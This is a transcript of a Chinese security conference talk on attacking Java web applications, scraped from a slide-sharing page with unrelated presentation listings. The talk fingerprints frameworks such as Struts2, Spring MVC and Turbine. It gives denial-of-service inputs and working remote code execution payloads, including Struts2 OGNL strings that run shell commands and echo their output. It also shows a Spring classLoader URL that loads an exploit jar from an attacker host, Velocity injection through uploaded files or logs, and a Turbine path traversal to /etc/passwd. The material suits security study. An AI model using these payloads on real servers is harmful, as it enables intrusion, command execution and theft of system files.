攻击JAVA WEB 阿里巴巴集团安全中心 周拓.

Slides:



Advertisements
Similar presentations
LOGO 第 9 章 Java Servlet 和 JSP 编程 孙焘. 重点: servlet 编程原理 1 servlet 的基础类与编程实现 2 JSP 编程原理 3 JSP 的常用语法 4.
Advertisements

蘆筍是治療癌症的妙藥 音樂 :confluence 癌症不可怕, 现在人们能够逐步战胜它 癌症的克星 更多精彩请点击这里访问
软件编程基础 一、程序的编辑 Java 源程序是以 Java 为后缀的简单的文本文件,可以用各种 Java 集成开发环境中的源代码编辑器来编写,也可以用其他文 本编辑工具,如 Windows 中的记事本或 DOS 中的 EDIT 软件等。 利用文字编辑器编写下列程序 public class Hello.
2016年8月29日 2016年8月29日 2016年8月29日 复旦大学 2006 年春 参考 TOPICS.
第 9 章 测试部署  9.1 测试  9.2 部署. 9.1 测试  应用测试:使用 JUnit 单元测试框架 测试的目的是检验开发结果是否满足规定需求,测试是保证软件质量的一个重要手段, 在软件开发过程中是不可缺少的组成部分。 单元测试与集成测试分别有各自的定义:在实际开发中,两者之间的界定是模糊的。
Web Maple— 云端计 算 数学学院刘海洋 胡婷婷. 需求 什么是 Web Maple ? Maple : “ 数学家的软件 ” 符号和数值计算 动态编程语言 集成编辑环境与图形输出 Web Maple :网页上的数学家 完整的 Maple 功能 云端计算 网页独特的输入输出格式.
面向对象与设计模式 RD 常见编程范式介绍  并行编程 - Process-orientedProcess-oriented  组件编程 - Component-basedComponent-based  事件驱动 - Service-oriented,Time-drivenService-orientedTime-driven.
3.2 Java的类 Java 类库的概念 语言规则——程序的书写规范 Java语言 类库——已有的有特定功能的Java程序模块
第六章 网页设计与制作基础.
动态Web开发技术--JSP.
IT运维管理解决方案 -轻松管理,自在运维 产品经理 刘曜.
翰林版國文第三冊第六課 《迢迢牽牛星》 設計者:郭宜幸.
基于JSP搭建Web应用程序.
协同过滤推荐算法 及其模型的设计与开发 毕业论文答辩 陈鹏 - 信息与计算科学 指导老师:王国庆 –
SAE Java 实际应用 在这里写上你的标题 作者名字/日期
基于SSH的web开发 AND 企业级WEB应用开发新技术
Web程序设计 主讲:林福平 太原理工大学 计算机学院 去除PPT模板上的--无忧PPT整理发布的文字
《Java程序设计之网络编程》 教学课件 重庆大学计算机学院
MVC Servlet与MVC设计模式.
P303 HTML/DHTML/CSS/JavaScript 專業HTML網頁設計 陳錦輝.
J2EE Struts 和Spring 的区别.
第一章 面向对象程序设计.
设计模式可以帮助我们改善系统的设计,增强 系统的健壮性、可扩展性,为以后铺平道路。
转正述职报告 乐恩公司 史航
精英型软件人才 培养模式的探索与实践 卢 苇 北京交通大学国家示范性软件学院.
第八章 分析與設計階段 – 物件導向設計(OOD)
第四章 網頁表單與資料傳遞.
DhtmlXGrid表格显示控件简介.
软件设计模式与体系结构课程设计 周 宇 College of Information Science and Technology
AJAX基础.
数据库操作示例 import java.sql.*; //导入java.sql包 public class JDBCDemo {
第二章 C# 基础知识.
Arena System Technology Architecture 系统技术架构 1、Database V2(Lotus Notes)V3(Oracle8i) 2、Application Server SilverStream2.53 (Java as server side programming.
淺談Visual C# 程式設計 國立台灣師大附中 李啟龍 Jason.
崑山科技大學資訊管理系 伺服網頁程式設計 系統開發細部流程 教師:游峰碩.
電子商務網站建制技術與實習(II) 助教:江宜政 吳昇洋.
2013電信創新應用大賽 推廣說明會 雲端軟體組補充資料
授课老师:龚涛 信息科学与技术学院 2018年3月 教材: 《Visual C++程序员成长攻略》 《C++ Builder程序员成长攻略》
Hadoop平台與應用規劃實作 報告者:劉育維.
2018/12/3 面向对象与多线程综合实验-网络编程 教师:段鹏飞.
简单的介绍,简单的配置,简单的扩展 By jfm
辅导课程十三.
第一讲 J2EE基础 博和利初级培训 —开发技能.
郑晟 昆明理工大学 云南省计算机技术应用重点实验室
第11章 Android客户端与服务器交互.
C/C++/Java 哪些值不是头等程序对象
简单工厂模式.
透過YouTuBe API取得資料 建國科技大學 資管系 饒瑞佶 2018/1 V1.
第3章 Java語法的JSP程式 3-1 Java語言的基礎 3-2 JSP程式的基本架構 3-3 Java的變數與資料型態
SDA(Standard development architecture)框架介绍
JAVA 编 程 技 术 主编 贾振华 2010年1月.
第十二章 过滤器.
Java Server Faces 参考书籍 Java Server Faces 核心编程.
第二章 Java基本语法 讲师:复凡.
Java程式初體驗大綱 大綱 在學程式之前及本書常用名詞解釋 Hello Java!程式 在Dos下編譯、執行程式
主编:钟元生 赵圣鲁.
第二章 Java语法基础.
网 站 设 计 与 建 设 Website design and developments
第6章 PHP的数据采集.
指導老師:蘇怡仁老師 組員:陳翊嘉、何盈宏、黃皇瑋、鄭楚懷
龍老師我不會Debug QQ.
第二章 Java基本语法 讲师:复凡.
U3A 第三年齡大學 天主教會的古老生態 源自歐洲天主教會生活習慣 (參加106年教育部推展的自主學習團體得知)
第6單元 6-1 類別的繼承 (Class Inheritance) 6-2 抽象類別 (Abstract Class)
厦门大学数据库实验室 2014暑期奋战70天总结 罗道文
辅导课程十二.
第2章 Java语言基础.
判斷(選擇性敘述) if if else else if 條件運算子.
第21章 Spring 的MVC框架 Spring不但一个很好的集成框剪,它还提供了构建Web应用程序的全功能MVC模块。Spring 的MVC框架非常强大并不逊色于其他专业的Web框架,如Struts、WebWork。但在国内Spring MVC应用的并不是特别多,原因可能是Struts太深入人心的缘故吧。
Summary
Presentation transcript:

攻击JAVA WEB 阿里巴巴集团安全中心 周拓

个人介绍 周拓 阿里巴巴集团安全中心 网名:空虚浪子心、kxlzx QQ:4700012 (&EMAIL) 个人BLOG:http://www.inbreak.net 微博:http://t.qq.com/javasecurity

适合听众 实战派攻击技术爱好者 WEB安全攻城狮 JAVA开发 安全扫描工具开发人员 理论派研究人员 默认大家已经掌握一些相关基础技术

JAVA WEB JSP Servlet

JAVA WEB J2EE 处理用户请求框架 J2EE ORM框架 J2EE 展示层框架 AJAX框架

JAVA WEB STRUTS2、spring mvc、turbine、JSF、DWR…etc action1 action2 USER STRUTS2、spring mvc、turbine、JSF、DWR…etc action1 action2 action3 Velocity、freemarker、JSP template1 template2

开始之前 任何攻击技术,技术本身都是有限的 不讲SQL INJECTION 不讲业务逻辑 现在,我们打开了一个JAVA网站

框架指纹的手工确认 架构师的故事 黑客的思路

默认扩展名 扩展名“*.action” 扩展名“*.do ” 扩展名“*.form ” 扩展名“*.vm” 扩展名“*.jsf ”

扩展名“*.action” 判断为struts2或webwork,得分:90% http://www.inbreak.net/index.action 官方DEMO 各种教程书籍

扩展名为“*.do” 判断为spring mvc 得分50% http://www.inbreak.net/index.do 方向性判断 官方文档 教程 还有很多其他框架(struts1等)

URL路径“/action/xxxx” 判断为struts2 得分 70% http://www.inbreak.net/action/index 官方手册 结合response的server字段

扩展名为“*.form” 看到一个表单 判断为spring mvc 得分70% 官方手册推荐 .NET偶尔也用

扩展名“*.vm” 判断为VelocityViewServlet 分值90% Velocity Velocity tools 教程 Turbine、Struts2、spring mvc都可能使用

扩展名“*.jsf ” Java Server Faces 得分99%

参数处理方式 目录 Struts2对string类型参数处理 一个参数,直接显示错误页面 spring mvc有个怪习惯

Struts2 string类型参数处理 《struts2框架安全缺陷》 《HTTP Parameter Pollution》 ?username=aaa&username=bbb <input value="aaa, bbb" name="username" type="text" /> 得分95%

一个参数,变错误页面 所有的用户定义Action都继承这个类 Action中的setter方法 ActionSupport action1

一个参数,变错误页面 ActionSupport验证逻辑

一个参数,变错误页面 ?actionErrors=aaaaaaaaaa 100%确认,struts2框架

<form:checkbox path="favorites" value="1"/>computer spring mvc有个怪习惯 spring mvc Spring tag lib checkbox <form:form> <form:checkbox path="favorites" value="1"/>computer </form:form>

spring mvc有个怪习惯 <input id="favorites1" name="favorites" type="checkbox" value="1"/><input type="hidden" name="_favorites" value="on"/>computer 90%确认,spring mvc

spring mvc有个怪习惯 EXAMPLE

默认URL处理逻辑 处理用户请求的框架 action1 action2 action3 template1 template2 url mapping USER 处理用户请求的框架 action1 action2 action3 template1 template2

turbine框架的逗号们 templates/pubinfo/infopub/businpub.html

turbine框架的逗号们 turbine/template/pubinfo,infopub,businpub.html Turbine

Struts2的叹号们 public class TestAction extends ActionSupport {   public String adduser(){ return SUCCESS; }

Struts2的叹号们 http://www.inbreak.net/test.action http://xxx/test!adduser.action 分值95%

默认开发命名 /xxxController /xxxController.do /controller/xxx.htm Spring mvc 50%分值

所有框架指纹 让它出错 500错误 404错误 100%的确认框架

参数类型错误 数字,日期 变为string http://www.polyplastics.com/v/n?i=933&l=03&s=1

参数类型错误 http://www.polyplastics.com/v/n?i=933&l=03&s=1kxlzx

action=showAddPaymentPage 业务逻辑错误 https://www.cibil.com/online/manageCustomerDetails.do? action=showAddPaymentPage

Action[/XXXXX] does not contain method named YYYYY 业务逻辑错误 action=showAddPyy7aymentPage Action[/XXXXX] does not contain method named YYYYY

文件名错误 http://eoweb.dlr.de:8080/servlets/template/welcome/entryPage.vm

万能google 命名空间 google搜索“com.netease”

万能google

环境的影响 不断的招聘开发者 推荐框架、主要框架 离职可以立刻接手 加分项

可能的位置 Struts2 静态资源映射 Directory traversal vulnerability 《Struts2框架安全缺陷》 “struts”、或“static”开头

其他地方 开发人员的blog 内部论坛对外

框架指纹章节 Q&A?

有多少拒绝服务 目录 java浮点漏洞 Tomcat transfer-encoding: buffered Hash 碰撞

java浮点漏洞 网上交易

Struts2 DOS漏洞 http://www.inbreak.net/app/secTest.action?new java.lang.Double(2.2250738585072012e-308)

Struts2 DOS漏洞 new java.lang.Double(0.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000022250738585072012)

Struts2 DOS漏洞 仅仅是技术讨论 不适合实战 直接拿CVE-2011-3923杀过去

spring mvc dos Message=${applicationScope} EL表达式 index.htm?message=${0.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000022250738585072012}

邪恶的JAVA HASH DOS攻击 JSON OBJECT拒绝服务 url?var={“aaaaa”:”bbbbb”,”ccccc”:”ddddd”}

DWR框架DOS攻击 C0-pram0=Object_Object:{id:reference:c0-e2, address:reference:c0-e3,………..etc..}

有多少拒绝服务章节 Q & A

鸡肋变绝杀 提高漏洞的发现率 本地变远程

name="testloadfilepath">${testloadfilepath}</result> 提高struts2自定的页面漏洞的发现率 《struts2框架安全缺陷》 Struts2的那些result类型缺陷(自定的页面) <result name="testloadfilepath">${testloadfilepath}</result>

提高struts2自定的页面漏洞的发现率 某次看到一个用户登录系统 Inputpage=xxxx.jsp Input错误处理结果 Jsp,vm…etc

Struts2 XSLT本地代码执行

velocity本地代码执行(没有报告) 上传JPG #set ($exec = "kxlzx") $exec.class.forName("java.lang.Runtime").getRuntime().exec("calc") showcase/context.vm?layout=../z.gif

Velocity远程代码执行 resin服务器 log/access.log

Velocity远程代码执行 log/access.log

鸡肋变绝杀章节 Q & A

从alert到完美和谐的shellcode 目录 (CVE-2011-3923)的局限 shellcode无法回显 回显研究1(背后的技术) 回显研究2(背后的技术) 回显研究3(感谢wofeiwo提醒)

struts2远程代码执行的局限 http://www.inbreak.net/foo.action?foo=aaaaaaaaaaaaaa public class FooAction { private String foo; public String execute() { return "success"; } public String getFoo() { return foo; public void setFoo(String foo) { this.foo = foo;

struts2远程代码执行的局限 /action?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)&z[(foo)('meh')]=true

struts2远程代码执行的局限 Spring mvc远程代码执行POC class.classLoader.URLs[0]=jar:http://attacker/spring-exploit.jar!/ org.apache.catalina.loader.WebappClassLoader URLs Url jarPath String

struts2远程代码执行的局限 http://www.inbreak.net/t1.action?class.classLoader.jarPath=(XXXX,@java.lang.Runtime@getRuntime().exec('calc'))(meh)&(class.classLoader.jarPath)(0)=false

回显研究1(背后的技术) 执行结果出现在输入框

回显研究1(背后的技术) (foo\u003d(@ognl.Ognl@getValue("\u0023a\u003d@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream()\u002c\u0023b\u003dnew java.io.InputStreamReader(\u0023a)\u002c\u0023c\u003dnew java.io.BufferedReader(\u0023b)\u002c\u0023d\u003d\u0023c.readLine()\u002c\u0023d\u003d\u0023d\u002b\u0023c.readLine()\u002b'\n'\u002c\u0023d\u003d\u0023d\u002b\u0023c.readLine()\u002b'\n'\u002c\u0023d\u003d\u0023d\u002b\u0023c.readLine()\u002b'\n'\u002c\u0023d\u003d\u0023d\u002b\u0023c.readLine()\u002b'\n'\u0023d\u003d\u0023d\u002b\u0023c.readLine()"\u002c@ognl.Ognl@createDefaultContext(null)\u002c""\u002c@java.lang.String@class)))=1

回显研究1(背后的技术) 执行结果

回显研究2(背后的技术) t1!getFoo.action?foo=aaa

回显研究2(背后的技术) t1!getFoo.action public String getFoo() { return foo; } <action name="t1" class="testve.T1"> <result name="success">/T1.jsp</result> </action>

回显研究2(背后的技术) t1!getFoo.action?foo=aaa

回显研究2(背后的技术)

回显研究2(背后的技术) 只有在看到错误信息时,才可以用 不需要input Action中有一个string类型的变量

回显研究3(感谢wofeiwo提醒) (\u0023a \u003d@java.lang.Runtime@getRuntime().exec('netstat').getInputStream()\u002c\u0023b\u003dnew java.io.InputStreamReader(\u0023a)\u002c\u0023c\u003dnew java.io.BufferedReader(\u0023b)\u002c\u0023kxlzx \u003d@org.apache.struts2.ServletActionContext@getResponse().getWriter()\u002c\u0023kxlzx.println(\u0023c.readLine())\u002c\u0023kxlzx.close())=1

回显研究3 流程

回显研究3 流程 response输出流 立刻关闭 struts2的OGNL远程代码执行

写教程让那群傻X跟着做 网吧DDOS linux连接客户端,中文版被植入后门 为什么大家会下载 中文版

写教程让那群傻X跟着做 翻译 教程 傻瓜化

jboss漏洞的中文版 使用浏览器攻击JBOSS

jboss漏洞的中文版 删除jmx-console 删除web-console

jboss漏洞的中文版

jboss漏洞的中文版 所有的中文版修补方案,都没有提到

jboss漏洞的中文版

Struts2远程代码执行 Struts2远程代码执行技术(xwork2.1.2以上) Atlassian Confluence远程代码执行漏洞

Struts2远程代码执行技术(xwork2.1.2)

Struts2远程代码执行(xwork2.1.2) Result "location" parameter should evaluate %{expr} <action name="redirect" class="TestRedirectAction">        <result name="redirect" type="redirect">%{redirectUrl}</result> </action> <action name="redirect" class="TestRedirectAction">        <result name="redirect" type="redirect">${redirectUrl}</result> </action>

Struts2远程代码执行技术(xwork2.1.2) ${expr1} %{expr2} public static Object translateVariables(参数省略) { Object result = expression; for (char open : openChars) { while (true) { 。。。 String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType); public static String translateVariables(String expression, ValueStack stack) { return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, null).toString(); } %{expr2}

Struts2远程代码执行( xwork2.1.2 ) SHOWCASE <action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save">            <result type="redirect">edit.action?skillName=${currentSkill.name}</result>         </action>

Struts2远程代码执行(xwork2.1.2) Xwork1.0.3 ${${exp}}

Struts2远程代码执行(xwork1.0.3) url?currentSkill.name=${expr}

Atlassian Confluence远程代码执行 https://cwiki.apache.org/confluence/login.action Atlassian\Confluence\confluence\WEB-INF\lib\xwork-1.0.3.2.jar

Atlassian Confluence远程代码执行

Struts2远程代码执行技术 Q & A

预见未来

预见未来 预测 未来会出现一个远程代码执行漏洞 我现在连EXP都写好了 重要的是,现在它还没有这个漏洞

预见未来 Turbine http://www.inbreak.net/my/turbine/template/pubinfo,infopub,businpub.html http://www.inbreak.net/my/turbine/template/?template=pubinfo,infopub,businpub.html http://www.inbreak.net/my/turbine/template/?template=pubinfo,..,..,..,..,..,etc,passwd

预见未来 indexof

Indexof获取扩展名 ,..,..,..,..,..,etc,passwd.htm

我提交了一个BUG

预见未来 使用前

预见未来 使用后

预见未来 请大家一起见证

Q & A thanks